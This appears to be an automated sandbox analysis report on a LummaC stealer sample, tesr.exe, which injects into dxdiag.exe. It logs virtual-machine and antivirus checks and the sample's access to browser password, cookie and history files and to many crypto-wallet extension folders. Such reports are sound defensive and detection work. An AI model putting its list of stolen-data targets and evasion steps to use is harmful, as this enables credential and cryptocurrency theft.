Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00439F70 push eax; mov dword ptr [esp], 60616263h	2_2_00439F7F

Source: C:\Windows\SysWOW64\dxdiag.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\dxdiag.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe TID: 6520	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe TID: 6520	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.0000000005033000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: dxdiag.exe, 00000002.00000002.2289289481.0000000002BBC000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2288285003.0000000002BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh\|
Source: dxdiag.exe, 00000002.00000003.2212583633.0000000005033000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: dxdiag.exe, 00000002.00000003.2212583633.000000000502E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\dxdiag.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_0043B480 LdrInitializeThunk,

2_2_0043B480

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\tesr.exe

Memory allocated: C:\Windows\SysWOW64\dxdiag.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\tesr.exe

Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 452000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 453000	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 82C008	Jump to behavior

Source: C:\Users\user\Desktop\tesr.exe

Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"

Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\tesr.exe

Code function: 0_2_00007FF79BC16E2C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF79BC16E2C

Source: C:\Windows\SysWOW64\dxdiag.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: dxdiag.exe, 00000002.00000002.2289289481.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2262702338.0000000002C47000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289421969.0000000002C47000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2288285003.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2278524685.0000000002C47000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\dxdiag.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dxdiag.exe PID: 5392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: dxdiag.exe, 00000002.00000003.2241112447.0000000002C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: dxdiag.exe, 00000002.00000003.2241112447.0000000002C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: dxdiag.exe, 00000002.00000003.2241112447.0000000002C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: dxdiag.exe, 00000002.00000003.2241070978.0000000002C45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: dxdiag.exe, 00000002.00000003.2262702338.0000000002C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: dxdiag.exe, 00000002.00000003.2241070978.0000000002C45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: dxdiag.exe, 00000002.00000003.2262702338.0000000002C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
